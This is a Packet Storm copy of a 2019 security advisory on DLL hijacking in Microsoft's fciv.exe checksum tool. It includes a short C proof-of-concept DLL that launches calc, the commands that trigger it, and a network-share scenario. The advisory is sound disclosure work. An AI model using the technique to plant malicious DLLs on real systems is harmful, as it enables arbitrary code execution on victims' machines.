exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft File Checksum Verifier 2.05 DLL Hijacking

Microsoft File Checksum Verifier 2.05 DLL Hijacking
Posted Jul 4, 2019
Authored by hyp3rlinx | Site hyp3rlinx.altervista.org

Microsoft File Checksum Verifier version 2.05 suffers from a dll hijacking vulnerability.

tags | exploit
SHA-256 | 17fc362e8e18414dd114c21009fd8fff819c0c7c6e6e529a0ec24d3b4887e2ce

Microsoft File Checksum Verifier 2.05 DLL Hijacking

Change Mirror Download
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-FILE-CHECKSUM-VERIFIER-v2.05-DLL-HIJACKING-ARBITRARY-CODE-EXECUTION.txt
[+] ISR: Apparition Security


File Checksum Integrity Verifier version 2.05 "fciv.exe"


Excerpt from the FCIV "ReadMe.txt" file.

"Fciv is a command line utility that computes and verifies hashes of files.

It computes a MD5 or SHA1 cryptographic hash of the content of the file.
If the file is modified, the hash is different.

With fciv, you can compute hashes of all your sensitive files.
When you suspect that your system has been compromised, you can run a verification to determine which files have been modified.
You can also schedule verifications regularily."

[Vulnerability Type]
DLL Hijacking Arbitrary Code Execution

[CVE Reference]

[Security Issue]
File Checksum Integrity Verifier "fciv.exe" will load and execute arbitrary DLLs "CRYPTSP.dll" or "USERENV.dll"
when verifying a file hash, if one of those DLLs exist in the same directory (CWD) from where FCIV is run.

During testing I observed that on a Windows 10 system both "CRYPTSP.dll" or "USERENV.dll" will execute no problem.
However, only "CRYPTSP.dll" seems to work on the Windows 7 machine I tested.

Therefore, if a malware is named "CRYPTSP.dll" or "USERENV.dll" and you try to verify its hash it will instead get executed.
Upon successfull exploit user will get the following error.

// File Checksum Integrity Verifier version 2.05.

Error during CryptAcquireContext.
Error msg : The specified procedure could not be found.
Error code : 7f

Again, to exploit this the victim must run the FCIV from an infected directory where the compromised DLL lives.

c:\>fciv.exe "CRYPTSP.dll"

OR from network share where an attacker has write privileges.

net use z: \\x.x.x.x\c$ /user:victim
z:\Users\victim\Desktop>fciv.exe c:\Windows

This was tested successfully on Windows 7/10

Create a DLL named "cryptsp.dll" and download to your default Downloads directory or wherever.


#include <windows.h>
//gcc -shared -o cryptsp.dll evil.c

void evilo(void){
WinExec("calc", 0);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
return 0;

Start fciv.exe from the same dir where cryptsp.dll resides to verify the hash of the DLL.
C:\Users\victim\Downloads>fciv.exe cryptsp.dll

BOOM! no hash verified but we do get arbitrary code execution...

[Network Access]


[Disclosure Timeline]
Vendor Notification: June 3, 2019
MSRC Response: "The Checksum Integrity Verifier tool is not supported by Microsoft." : June 7, 2019
July 4, 2019 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By